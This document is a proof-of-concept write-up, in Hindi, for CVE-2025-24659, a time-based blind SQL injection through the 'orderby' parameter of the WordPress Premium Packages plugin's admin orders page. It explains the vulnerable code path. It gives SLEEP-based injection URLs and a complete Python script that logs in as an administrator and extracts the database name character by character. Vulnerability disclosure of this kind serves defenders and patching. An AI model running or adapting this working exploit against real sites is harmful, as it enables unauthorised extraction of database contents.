
CVE-2025-24659 का PoC
वर्डप्रेस प्लगइन
घटक नाम Premium Packages – Sell Digital Products Securely
असुरक्षित संस्करण <= 5.9.6
घटक स्लग wpdm-premium-packages
घटक लिंक https://wordpress.org/plugins/wpdm-premium-packages/
भेद्यता वर्ग A3: इंजेक्शन
भेद्यता प्रकार SQL इंजेक्शन
प्रशासक
Premium Packages - Sell Digital Products Securely प्लगइन (इसके बाद Premium Packages प्लगइन के रूप में संदर्भित) के संस्करण 5.9.6 और उससे नीचे में SQL इंजेक्शन भेद्यता मौजूद है। यह प्लगइन डैशबोर्ड के ऑर्डर मेनू (/wp-admin/edit.php?post_type=wpdmpro&page=orders) में ऑर्डर सूची देखते समय URL पैरामीटर orderby के अपर्याप्त एस्केपिंग के कारण होता है।
परिणामस्वरूप, प्रशासक विशेषाधिकारों वाला एक हमलावर इस भेद्यता का शोषण करके लक्ष्य साइट के डेटाबेस में संग्रहीत सभी जानकारी तक पहुँच सकता है।
इसके अलावा, जबकि यह SQL इंजेक्शन भेद्यता प्रतिक्रिया डेटा से सीधे डेटा पुनर्प्राप्ति की अनुमति नहीं देती है, समय-आधारित ब्लाइंड SQL इंजेक्शन तकनीकों का उपयोग करके जानकारी निकाली जा सकती है, जो SQL क्वेरी में सत्य/असत्य स्थितियों के आधार पर प्रतिक्रिया समय में अंतर का लाभ उठाती हैं।
एक वर्डप्रेस साइट पर प्रशासक के रूप में लॉगिन करें जहाँ Premium Packages प्लगइन स्थापित और सक्रिय है।
चूँकि Premium Packages प्लगइन Download Manager प्लगइन (https://wordpress.org/plugins/download-manager/) का एक ऐड-ऑन है, इसलिए Download Manager प्लगइन भी स्थापित और सक्रिय होना चाहिए।
नीचे दिए गए URL तक पहुँचने के बाद, SQL क्वेरी की स्थिति (1=1) हमेशा सत्य होगी, जिससे SLEEP(5) फ़ंक्शन के कारण पृष्ठ 5 सेकंड के बाद प्रदर्शित होगा।
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2) हमेशा असत्य होती है, पृष्ठ तुरंत प्रदर्शित होता है।http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Premium Packages प्लगइन की ऑर्डर सूची डैशबोर्ड का अनुरोध करते समय, फ़ाइल /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php निष्पादित होती है।
इस बिंदु पर, URL पैरामीटर orderby का मान उचित एस्केपिंग के बिना वेरिएबल $orderby को असाइन किया जाता है। इसके बाद, वेरिएबल $orderby को वेरिएबल $qry में पास किया जाता है और SQL क्वेरी में ऑर्डर बाय क्लॉज़ को पूरा करता है।

फिर, वेरिएबल $qry को totalOrders और GetAllOrders फ़ंक्शन में एक तर्क के रूप में पास किया जाता है।
ये फ़ंक्शन फ़ाइल /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php में परिभाषित हैं, और प्राप्त तर्क मान सीधे डेटाबेस क्वेरी में उपयोग किया जाता है।

इसलिए, चूँकि URL पैरामीटर orderby का मान एस्केपिंग के बिना सीधे डेटाबेस क्वेरी में उपयोग किया जाता है, SQL इंजेक्शन भेद्यता उत्पन्न होती है।

फिर PoC कोड चलाने के लिए निम्नलिखित कमांड दर्ज करें।
आवश्यक मॉड्यूलrequests
python poc.py

import re
import time
import string
import requests
## प्रॉक्सी सेट करने के लिए, नीचे सर्वर पता दर्ज करें।
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- खाते {login_id} से सफलतापूर्वक लॉगिन किया गया.")
return session
else:
raise Exception(f"[-] लॉगिन करने में विफल.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- डेटाबेस नाम की लंबाई {length} से अधिक है.")
length += 1
else:
print(f" |- डेटाबेस नाम की लंबाई: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- डेटाबेस नाम: {db_name.ljust(db_length, '*')}")
break
print(f" |- डेटाबेस नाम सफलतापूर्वक निकाला गया: {db_name}")
def poc():
####
## 1. प्रशासक के रूप में लॉगिन करें
####
print(f"[+] प्रशासक खाते से लॉगिन किया जा रहा है.")
print(f" |- खाता: {ADMIN_ID}, पासवर्ड: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. डेटाबेस नाम की लंबाई प्राप्त करें
###
print(f"[+] डेटाबेस नाम की लंबाई प्राप्त की जा रही है.")
db_length = poc_get_db_length(admin_session)
###
## 3. डेटाबेस नाम प्राप्त करें
###
print(f"[+] डेटाबेस नाम प्राप्त किया जा रहा है.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## वर्डप्रेस लक्ष्य
TARGET = "http://localhost:8080"
## प्रशासक आईडी/पासवर्ड
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()